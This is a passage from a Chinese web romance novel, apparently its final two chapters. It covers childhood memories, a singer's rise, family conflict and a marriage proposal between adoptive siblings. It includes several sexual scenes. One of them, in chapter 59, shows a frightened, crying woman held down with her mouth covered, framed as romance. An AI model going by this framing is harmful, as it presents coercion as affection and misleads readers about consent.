两家父母聚会,让他们一起玩,无非是让小孩子作个伴而已,林鸣修却会自行带入长辈的角色,觉得他俩玩不到一起去,但他有义务负责小不点的方方面面。 那年柚安五岁,林鸣修九岁,他们在公园里荡秋千,柚安一个劲地让哥哥推高一点,再推高一点,最后林鸣修使劲太大,她失控飞了出去。落地时,额头破了道口子,林鸣修的天塌了。 柚安哭得地都在震,林鸣修却很镇定,不慌不忙从随身小包里拿出碘伏棉签和消毒湿巾,帮她清理伤口。 柚安第一次哭了没人哄,哭着哭着,把自己给哭无聊了。 林鸣修给她清理完伤口,用创口贴贴住破皮的地方,问她:“还哭会儿吗?” 柚安吸了吸鼻子,摇头。 林鸣修拿出纸巾捏住她鼻子,将鼻涕揩走。刚一捏住,他就紧张到心跳失衡,因为那鼻子小巧娇嫩到超出他的认知范围。 “擤。”他的声音都在抖。 小不点吸一大口气,却只擤出来一点,多数从嘴巴里溜走了,吹得纸巾一飘。然后看向他,等待下一个指令。 林鸣修说:“可以了,擤得好。” 小不点就扯着衣角,抿嘴笑了。 林鸣修轻轻擦拭,生怕擦破她皮肤,一边说:“通知司机来接了,得回去让医生看看。” 柚安被“医生”两个字吓出蚊香眼,不止额头,哪儿都开始不舒服,但她还是乖乖点头。 两人往公园外走,林鸣修走了两步,回过头来,递出手,柚安就牵上去。 “真的不哭会儿吗?我可以等你。” “不哭。”柚安觉得,自己也是个英勇的大人了。 但是路过卖木偶玩具的小店时,又毫无征兆地哭起来,小手将林鸣修的手攥得紧紧的。 真的是很疼了,看到喜欢的东西,就想要寻求一点慰藉。但是才忍住哭,决心要做个大人的,大人不能开口就要东西,这给她憋急了。 林鸣修就问:“是不是想要?” 柚安泪眼汪汪地点头。 起初,他以为她想要中间那个穿粉色芭蕾舞裙的小公主,没想到她看中的,是一只直挺挺,带帽子的卫兵。 “好。”林鸣修掏出了几乎所有的零花钱,二话不说买下了。 又走了两步,看到冰淇淋车,他的手再次被攥得死死的。 这回他懂了,“想吃冰淇淋?” 柚安抱着人偶,腼腆地点了点头,脸颊的肉肉跟着一颤。 手里的钱连最便宜的冰淇淋都买不起了,林鸣修还是说:“好。” 他走过去,不知跟老板说了些什么,竟拿到了冰淇淋。交给柚安后,再跑去找老板,老板给他挂了个保温箱,里面装了些袋装的冰棒,他就抱到人多的地方去卖。 柚安要牵着他,他说卖完再牵。 他让柚安坐在树下阴凉处,与人推销的时候,不时回头看两眼。 司机过来的时候,还有一半没有卖完,但是老板已经很满意了,将抵押的手表还给了他,又笑眯眯地送了他一球。 柚安这时已经完全忘了疼,觉得大四岁的哥哥不仅是个大人,而且是个超人,就是天天的星星,也能给她摘下来。 回到夏山郡时,伤口肿起个不小的包。但医生瞧过之后,说没有伤及骨头,还夸林鸣修的应急处理做得很到位。 父母问柚安是怎么摔的,柚安很仗义地摇着脑袋说:“我布吉岛,我忘记了。” 林鹤堂和尹晴怕是女儿摔傻了,最后还是林鸣修说出了实情,顾祈年将他拎到院子训的时候,他余光看着柚安上楼回房,终于大哭起来。 回家后,林鸣修问孟悦,妹妹头上的包多久能消。 孟悦吓唬他说:“得好长时间呢,说不定一年,说不定两年。” 他就失眠了,想象着柚安顶着一个包长大,天塌了又塌。 柚安七岁,林鸣修十一岁,前者的生日宴上,说好要来的顾伯伯一家,一个人也没来。尹晴说他们搬家了,昨天就已经离港。 因为是跟林鹤堂闹翻了走的,连句告别也没有留下。 柚安坐在堆成山的礼物里,哭得天昏地暗。 柚安十八岁,林鸣修二十二岁,正式成为她哥哥的那一天,她气得摔坏了胡桃夹子木偶。 然而当晚,推着行李箱离开家门时,还是将断了腿的木偶带在了身上。 她玩伴虽多,却只有一个“哥哥”,无论如何不会忘记。 只是立场反转,各种复杂的感情驱使,让人既矛盾又痛苦。 曾有一度,她试图将两者分离,那个陪她几渡山海的玩偶,被想象成一个不会再相见的故人。可只要看到长大后的林鸣修,就不得不承认,他真的回来了,却是回来欺负她的。 林鸣修在她耳边轻笑了声,气息钻进脖子,痒得她缩起肩膀。 “你一直都知道对不对?”他低声问,带着隐隐的激动。 柚安掀起被子将头蒙住。 半晌,在被子底下翻了个身,钻进林鸣修怀里,在他怀里点了点头。 没料到林鸣修会这么兴奋,他怔愣了数秒,猛地将棉被一扬,也钻进来,像只生扑过来的巨型犬类,吻如暴风骤雨般撕缠上来。 第58章 “这么快啊。” 单干和大团队的其中一个不同之处在于, 经纪人可以随时撂下她不管。 一早,车雪齐就回港了,发了条微信,叫柚安自己退房。 【你有人送的, be happy~】 被窗帘遮挡严实的酒店房间内, 只亮着一盏不济的夜灯, 不辨晨昏。 柚安趴在床上, 看完信息, 又扫了眼时间,早晨七点不到, 嗫嚅了句“这家伙不管我了。” 下一秒,手机连同手腕一齐被按住, 黑了屏。她侧过脸,男人带着喘息吻上来, 额角沁着汗芽, 一直到脖子, 全侵染在事后勃发的潮红里。 歇了歇, 柚安披了睡衣坐起来, 林鸣修躺在她腿上,脸上的红色还没有完全褪去。他扬头看她时, 下颌有一段优雅的弧度, 耳根下方有一颗不易察觉的小痣, 看着莫名性感。 柚安点了点那里,“有颗痣诶。” “才发现啊。” 柚安耸耸肩,很臭屁地说:“我就没有一颗痣,也没有胎记,生下来就白白净净的。我妈说, 怀我的时候,也没有吃什么特别的补品,是我自己长得好。” 林鸣修就笑了下,没有作声。 柚安撇嘴问:“笑什么呢?羡慕吧?羡慕我吧?” 林鸣修还是笑。 柚安开始不自信地低头查看身上各处。 林鸣修翻了个身,抬起她的腿,手指按了按大腿跟部的某处。 “这里,有一个胎记,很小。” 那个地方,就算掰着自己的肉,也很难找到。 虽看不到,但是随着林鸣修拇指轻按,昨晚所遗留的酸涩感再次袭来,她禁不住轻哼了声,害羞地缩起腿,“行了行了,知道了……我说我知道了……” 对方没有给她机会再往回缩,抬头深黯地看她一眼,将她腿一拉,嘴唇吮住那个胎记。 如触电一样,不受控的失重感爬满全身。 吻依循着血管蜿蜒而上。 她羞耻地不敢睁眼去看,黑暗中,那难以言喻的触觉被无限放大,她是像溺水的人一样疯狂喘息,寻求氧气。 不到一会儿便在急剧的颤栗下,丢盔弃甲。 她侧身缩进被子里,头朝下,心跳剧烈不已。 林鸣修轻抚她后背,贴在耳边说:“这么快啊。” 她没法说话,过程很短,痉||挛的时间却很长,怎么都喘不平呼吸. 半个月后,录音棚正式投入使用。 刚开始录歌,完全是摸着石头过河,所有的配乐都是自己上,录完主段落,还要录和声。 车雪齐说银行放款了,不必这么扣扣搜搜的,但是柚安乐于做这一切,永远热情满满。 地点是黎燃给她介绍的,就在他之前乐队大本营所在的文化园区。 黎燃过来探班,说等他合约到了,就找柚安签约,柚安问:“你确定?” 想到和她录歌的经历,黎燃的热情被浇了一桶凉水:“这事确实得从长计议。” 柚安笑不可遏,一挑眉,问他:“你那事怎么样了?有没有新进展跟我分享?” “怎么这么八卦啊!”黎燃烦得翻了个白眼,不情不愿地站起来背对她,将T恤往后一拉,后腰露出个玫瑰样式的纹身,位置很低。 柚安“哇”的一声,海豹鼓掌。 待凑近去看,一只大手猝不及防糊在她脸上,挡住了视线。 “你就是这么录歌的?”那只手不动声色将她额头推了一把,方才离开。 “鸣修哥来了?”黎燃转身将衣服拉好,一过去就捏他的大臂,旋即抛去个男人之间才能领会的眼神,“练得不错哦最近。” 柚安:“……” 黎燃笑着说:“鸣修哥够意思,约他打拳,从来没有拒绝过,再忙都调出时间过来。” “看来玫瑰小姐嘴够严的。”柚安瞥向林鸣修。 后者面不改色,朝黎燃扬了扬下巴,轻描淡写道:“你高兴就好。”. 闷热的夏季持续了两个多月还没有结束,柚安制作发行了新的单曲,广受好评,又开始制作第二支。上升势头如此迅猛,接连而来的舆论和关注也成倍增加。 工作室的地址不知怎么被扒出来了,时常会有粉丝和媒体蹲守在录音棚外。 晚上七点半,她工作完准备回家,从录音棚到停车场的几步路被堵得水泄不通。她收了粉丝的信,叫他们早点回家,仍有私生举着相机往跟前挤。人群中不知谁问了句:“男朋友真的是你哥哥吗?” 柚安停下脚步,几度想要发作,最后还是咬唇忍下了。 她不作理会,继续往前走。 问题并没有就此打住。 “恋情进展地怎么样了?” “你们小时候住一起吗?” “现在什么感觉?” 漆黑的夜路,夹杂数不清的噪声,将她耐心磨尽。 接踵而至的提问声中,一道细小的讨论声飘进耳膜—— “哇,路虎底盘那么高,坐在车上,脚还能直接踩在地上!” 随着这个画面在她心中生成,其他的声音都听不见了。 几乎是不着思考,她毫不犹豫地冲开人群,朝前狂奔。 猖狂的私生因为她这一举动,不得不让开一条路。 风刷刷掠过脸颊,视野开阔起来,她看到正在下车的林鸣修。 后者才从车里出来,没来得及关车门,见柚安风一样朝自己奔来,下意识伸开了双臂。 下一秒,她撞进他的怀里。像颗子弹,像颗即便是死也愿意迎接的子弹。 薄底皮鞋退了一小步,发力稳稳接住,不叫她脚落地,抱起来转了好几圈。 这画面已经足够回答很多问题。 “要幸福哦,柚安!” 她听见身后粉丝的喊声,大声回应:“好!” 他们的车驶向夏山郡。 林鹤堂如今深知人生苦短,得空就带着尹晴出去旅行。他们刚从非洲回来,尹晴煲了锅好汤,叫两个孩子回来吃晚饭。 刚进大门,就看到陈静淑哭哭啼啼走下石阶。 柚安下意识要挣脱林鸣修的手,却被他牵得更牢,干脆改为十指交扣。 陈静淑先是看了柚安一眼接着忿忿地瞪视林鸣修。后者虽面无表情,却依旧礼节做足,颔首问好。这更惹怒了陈静淑,“从小就会装模作样,满意了?你这个杂种!” 她气得要扑过来打人,但林鸣修微微侧身,她便扑了个空,颇为狼狈地走了。 进得大厅,柚安问尹晴:“伯母来做什么?” 尹晴说:“求情呗,大伯和景琛现在人赖在国外,她和两个小儿子在国内,也准备过去,钱是个问题,五口人撑不了多久,她想让你爸开个恩,给他们找找关系把事情压下去。” “爸同意吗?”柚安看了看林鹤堂,他黑着一张脸,想必被陈静淑气得不轻。 “当然不同意了,”尹晴说,“你爸病得不知道能不能醒的时候,他们几父子拿着股份转让协议撞他房门,这比烂账还没算呢。” “别气别气,他们现在没好果子吃。”柚安安慰林鹤堂说。 后者脸色仍不大好,目光却是几度杀向林鸣修。 这还是他们第一次当面牵手,林鹤堂做了一百次心理预设,还是破防了。 柚安哄不好父亲,求助的目光看向林鸣修,后者回以一个无辜的眼神,我也不知道怎么办呢。 林鹤堂的脸更黑了。 都培养出了个什么玩意儿。 后厨将晚饭端出来,十菜一汤,靓丽地摆满圆桌。 最后一盘鱼被尹晴亲自摆在中央,被一堆花花绿绿的蔬菜围着,辛香料的味道闻着就直冲脑门。 “这是我在非洲学的,叫库斯库斯炖鱼,你们待会儿尝尝。” 林鸣修很自然地为每一位分鱼,呈到手里。 柚安尝了一口,皱起眉头,“妈,还是中国菜好吃。” 林鹤堂被呛得猛咳几声,吓坏了柚安。 边咳边沉声说:“你老不在家,你妈无聊,就喜欢找些事做打发时间。眼睛不好,还老在油烟下待着,能行吗?” 柚安一边顺林鹤堂的后背,一边爽快地说:“那还不简单,我住下来陪妈不就行了?” 林鸣修瓷勺握在手里,低头往林鹤堂那边看去,后者恍若未察,沉吟问道:“住多久?” 柚安想也没想就说:“你们说住多久就住多久。” 林鸣修指间一抖,瓷勺差点断了。悄悄迎向林鹤堂隐隐得意的目光,怒不敢言。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 59、【正文完】 第59章 他愿意将一辈…… 晚上, 林鸣修陪林鹤堂下棋,下得心烦意燥。 林鹤堂将棋子竖起来,敲敲棋盘,“将军了。” 林鸣修的神思这才从天边拽回来, 脸上还挂着几分沮丧, 来不及收起。 “没出息。”林鹤堂从没见过他这模样, 不过是让柚安回来住几天而已, 整个人就跟丢了魂一样。 “抱歉, 林董。”林鸣修强打精神,“再来一局。” “还来什么?” 每次听到他喊“林董”, 林鹤堂就跟生吞了枚酸枣似的,从牙关涩到心里。 林鸣修着手收拾棋台, 低头一颗一颗将棋子摆进棋盒里,动作有些温吞, 那表情, 林鹤堂一看就知是在琢磨事儿。 他倒要看看, 这小子怎么开口让他放柚安跟他走。 最后一颗“帅”被放进棋盒, 盒盖盖上, 发出清脆的一声实木碰撞声,林鸣修抬头看向林鹤堂说:“爸, 把柚安嫁给我吧。” 林鹤堂呛了口茶, 一阵猛咳。 “你说什么?!” “把……” “行了!” “别再说了!” 动他一个卒子而已, 他开口就要吃“帅”,这行事风格……好像也是自己教出来的…… “你认真的?”林鹤堂压抑擂鼓似的心跳问。 “我想很久了。”久到您难以想象。 “不行,女孩子还是要多见点世面的,不能这么快就谈婚论嫁。” “柚安见过的世面还少吗?” “怎么不少?总之我不看好,”林鹤堂略作一番思考, 倒是镇定下来,撇撇嘴角说,“不过,最终还是要看她的意思。” 林鸣修的沮丧更加显而易见了,“您也觉得她不会答应?” 林鹤堂了然的笑容在灯下一晃,“哼,她那性子。” 回房洗过澡,十点半了,林鸣修看了会儿书,准备睡觉。关系昭然以后,他在这个家更加规行矩步,这个点不敢去敲柚安的房门,有种欲盖弥彰的界限感。 手机震了一下,柚安发来的。 LYA:【我打算住一个礼拜,你也住这儿吧。】 XU:【我住这儿更难受,不如不见。】 LYA:【?】 XU:【睡吧,不早了。】 LYA:【这条发语音说。】 林鸣修就将手机贴近,说了一遍。 柚安听了几遍,他低沉的嗓音很催眠,她很快睡着了。 睡到夜里两点,人又醒了,裹着被子滚了两圈,忽然觉得睡了二十多年的床太大了。不得不承认,被圈起来睡的安稳感,是再昂贵的真丝被都比拟不了的。 失眠中,她这才后知后觉地发现,中了林鹤堂的话术,决定作早了。 原来饭席上,自己随口说出“住下来”的时候,两条狐狸正在暗潮汹涌地较劲。 她点亮手机屏幕,给林鸣修发了条信息,问他睡了没有? 对方没有回复。 柚安腮帮子鼓起,对他居然能睡得这么香心生怨念。 几次试图入睡失败以后,她本着你也别想睡的作死精神,给林鸣修打去电话。 电话被接起来,那边没有声音。 “哥哥,我睡不着。”柚安用委屈的声音说。睡不着的人,什么都干得出来。 “哥哥,你猜我穿的什么……” 一句拙劣的撩拨还没有开始,对方先将电话挂了。 话筒里一连串盲音,柚安一张脸憋地通红,气得咬床单。 说这种话,可是鼓起勇气头一次。 林鸣修将电话往远处一扔,头朝下埋进枕头里。夜里三点还没睡着过,足够他不受控地胡思乱想很多事,连季琮明的玩具都曾在他脑子里飘过。 可是柚安呐,你自己说要住下来的,怪谁? 被单一扯,蒙过头顶,外头却响起不小的声响。 门被打开,又被不客气的摔上了,一股怨念逼近至床头。 普通荷花边的白色棉质睡裙,和他猜的一样,根本没有悬念。 柚安气得不轻,直接将被子掀开,压着他吻下来。牙齿时轻时重地吮咬他唇瓣,有种乱来一气的发泄意味。 可是林鸣修根本招架不住,几乎是在她气息贴近的刹那,就有了反应。 她将他折磨地受不了,体温炙热地就要烧起来,这才笑眯眯起身。还没有站稳,手腕就被捉住了,那力道带着几分薄怒,轻而易举将她拉回被子里。 “你还想跑?”声音哑得不像话。 他翻身压下来,眼里燃着幽寂的火苗,强势地吻过来。 “你想干嘛,这是我家!”柚安挣脱不开,开始害怕了。 “你还知道是你家。”他欺身而入,虚捂住她的嘴。 柚安忍不住哭了,在最后,狠狠用犬齿咬破了他的手背。 林鸣修不敢出声,也不敢动,低头看着柚安潮湿的眼睛,轻轻地吻她。 被熟悉的怀抱拥着,柚安很快就睡去了,林鸣修依旧睡不着,拇指摩挲着她左肩上的红痕,觉得有点抱歉,这个位置不太好遮。 又过了一个小时,晨曦将露,林鹤堂和尹晴该醒了,他起身穿好衣服,将柚安抱进她自己的房间,盖好被子。 将走时,柚安迷迷糊糊醒了,手伸出被子,下意识拉了拉他的,眼神还有点搞不清楚状况。 “在你的床上了,放心睡,我走了。”林鸣修蹲下来,轻抚她额头,直到将她又哄睡着。 他脚步极轻地走出房门,转身将门关上,为了不发出一点声响,每一个动作都调动了全身的掌控力。 可他一转身,林鹤堂和尹晴就站在身后。 飞鸟掠过窗棱,扑棱一声,空气凝滞。气压低得要结冰,林鹤堂胸腔起伏,眉毛都要飞起来,就连一向开明温和的尹晴也面露责备。 “我要出门去公司了,过来跟她打个招呼。”林鸣修伪饰镇定,一副什么也没发生过的模样。 他有未雨绸缪的好习惯,一早就穿好了出门的衣服,这时抬腕看了看表,“不早了,我先走了,早饭您们慢用。” 西装外套挽在臂间,若无其事地快步走下楼去,直奔大门。 先不说此刻才早上六点,坐进车里,他才从后视镜中看到,脖子侧面有一个再明显不过的吻痕,昭然地像一个“此人纵欲”的警示牌。 林鸣修扶着方向盘,头埋在臂间,好一会儿都没有缓过来。 柚安在夏山郡住了五天。第六天,没告诉林鸣修,自己提前回家了。 这期间,林鸣修大部分时间都在出差,他们一直没有见面。偶尔通电话,也因为时差或是太忙,聊不上几句。 柚安是下午六点多回的家,林鸣修居然在家。他穿一件白T和黑色运动短裤,像是刚跑完步,手边放着瓶运动饮料,喝了大半瓶,正盘腿坐在院子里逗猫。 从前厅走到后院,那个寂寥的背影在柚安的视线里一点一点放大,像尊寂寞的望妻石。 柚安悄悄走到他身后,仍没有被发现。他心不在焉,手指拨弄着小猫的肉垫,猫的尾巴缠在他臂弯里,乖巧地看着他。 柚安“咳咳”两声。 他转头见她回了,向后一仰,躺在碧青的草坪上,仰头望着她,一句话不说。 柚安弯下腰,捧着他的脸亲下去。 沐浴后的柠檬香气沁入鼻尖,她轻舔他下唇,有薄荷气泡水的清洌气味。 就在这时,他们身后传来窸窣声,林鸣修一愣,余光一扫,落地门后挤了八、九个人往外望,车雪齐挤在最前头。 “啊,你们来啦,”柚安站起身给林鸣修解释,“Kim说你晚上有饭局,我就带团队来家里吃饭了,他们刚才从车里搬食材,所以晚了点。喂,你们——” “姐夫好!”他们齐刷刷地喊。 柚安的新单曲播放量破亿,蝉联播放平台冠军两周时间了。工作时赚钱了,又招了新人。有初出茅庐的宣发助理,也有混迹江湖一段时间的制作人,不管年龄资历大小,一律叫林鸣修“姐夫。” 林鸣修坐起来,向众人微微点头。 “去做饭吧,刚是谁说会做慧琳顿牛排的?做得不好吃以后别来了。”柚安将人带到厨房,又出来找林鸣修。 他中午才从国外飞回来,计划是回家休息会儿,换身衣服去饭局的,却没料到柚安这时回了。 “好不容易回来,还带回一堆电灯泡,你可以的。”林鸣修怨念颇深,那个吻还意犹未尽。 “抱歉啦,是Kim的工作没到位,传达有误。” 林鸣修又往后躺倒在地上,刚运动完,加上时差的关系,让他有些不想动弹。 柚安再次捧住他的脸,“要不你上楼睡会儿,我叫他们不要吵。” “不用,”林鸣修抬手,也捧住她的,“人多正好,我刚好有事要宣布。” “什么事?” 他目光幽深,里面像蓄着一潭温柔的春水,“柚安,嫁给我吧。” 一时间,柚安怔住了。 落地门后一声声倒吸凉气的声音。 车雪齐这个疯女人绝不可能乖乖听话,待在厨房的,随着她发出惊呼,其他人也都凑了过来。 “你认真的?”柚安拍拍林鸣修的脸颊,“心血来潮的吧?” 林鸣修伸臂将布偶猫捞过来,从猫爪下夺过它正准备薅进猫窝私藏的钻石戒指。 是在美国出差时买的,橱窗里看到的时候,就想到了柚安的脸。事实上,当他心中蒙生想要娶她的愿望之后,只要看到类似的东西,都会想起柚安的脸。 他把戒指带了回来,百无聊赖之际,先用猫演练了一番,没演练出什么结果来,戒指倒是三两下被猫抓去,当玩具玩了。 柚安心跳陡然加剧,快要溢出胸腔。 没心思去管落地窗后的偷窥者了,她看着林鸣修,告诉他说:“可是,我还没有想过结婚的事。” 才尝到恋爱的甜,怎么舍得这么快结婚? 落地窗后传来“哎”声一片。车雪齐不忘在这个时候浇油,大喊:“她不愿意我愿意!” 柚安气得深呼吸几次才忍住揍人的冲动。 林鸣修没有一点失望,对答案早已了然于胸,眼中那一池春水,只是浅浅荡漾了几番。 “拿去玩儿去吧。”他捉过柚安的手,将戒指往她中指上一套。钻石在夕阳的衬托下耀眼动人,每一道棱角都浸着橘红。 在柚安那里,他早就学会了等待。 人生这么长,最无望的等待,也可能会开出花来。 他愿意将一辈子的耐心都留给她,也不介意每年买只戒指问她一次。 即便会被拒绝一次又一次。 只因为着迷于问她是否愿意嫁给自己时,她脸上那抹羞涩又幸福的红晕。 她笑起来,说:“我爱你,但结婚不是现在。” 笑起来的时候,整个世界鲜花盛开,连风都是甜的. 林鸣修从饭局回来,已是深夜。 酒窖里那瓶好酒被她们喝得只剩一杯,给他盛在红酒杯里,杯子下面压了张便条:“多谢姐夫款待。” 林鸣修摇摇头,将酒喝了,边扯领带边上楼找柚安。 卧室里不见人,浴室传来哗啦啦的水声,林鸣修问:“在洗澡?” 里面传出回答声:“嗯,你回啦。你今天可没口福了,我跟你说,我们那个录音师艾利,做得惠灵顿牛排是我吃过最好吃的……” 许久没见,柚安的话有些密,听着人也微醺。 林鸣修一边简短地回应,一边脱了外衫走进去。 小别重逢,又忍了半天,确实能把人逼疯,浴室里弥漫着腾腾的热气,柚安站在花洒下,水珠从她肌肤上滚落。 林鸣修半跪下去,将她脚抬起,踩在自己膝盖上,“站好。” 大理石砖墙粗狂的纹路几乎要刻进肌肤里,冰冷的温度和淋下来的热水反差鲜明,柚安紧贴着墙,退无可退,目光先是落在他被打湿的黑发上,而后渐渐失焦。 热水淋在林鸣修白皙的脸上,他吻地专心致志,从表情到姿态都很虔诚。 某一瞬间,她真的站不住,整个人被抽去力气,直往下坠。 林鸣修站起来,将她抱住,转过身去。 …… 天还黑着,柚安又提早醒了,脑袋清醒着,身体筋疲力尽,像漂浮在海上。 她翻了个身,林鸣修也醒了,两人相视一笑,生物钟乱地很同步。 “几点了?”她问。 “四点多。”天快亮了,这个时候醒,很尴尬。 林鸣修嗫嚅着说:“你能不能睡个整觉?这样我总担心你半夜跑出去……骚扰我的猫。” “有些灵感是深夜拜访的。”柚安说,“你不懂。” 林鸣修说:“我只知道,有些欲望也是深夜拜访的。” 柚安笑了一下,往他怀里蹭了蹭。 床头柜上的胡桃夹子木偶手上多了个戒指,柚安洗澡前挂上去的。 林鸣修拿过来摆弄了一下,放回去时换成了单膝下跪的姿势,和他手里的戒指很相配。这个姿势却让柚安害臊极了,一把将木偶按趴下,怪林鸣修道:“你把我的木偶玩脏了。” 林鸣修额头抵着她肩头笑起来。 极沉的夜空出现一线金光,又过了会儿,玫红色的霞光从倾斜的天幕洒下来,林鸣修亲了亲她,说:“柚安,天亮了。” 柚安“哇”的一声,“还可以这样看日出。” 夜幕渐褪,星斗阑干,熹微晨光之中,有种每天都是新生的希冀感。 柚安说:“我想去买一枚戒指送给你,你今天有什么安排?” 林鸣修的眼里落满鎏光,在她看日出的时候,安静地注视着她。 “吃饭,溜猫,睡觉,想你。”他说,“柚安,我爱你。” “爱你,是我赖以生存的信仰。” (正文完)魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m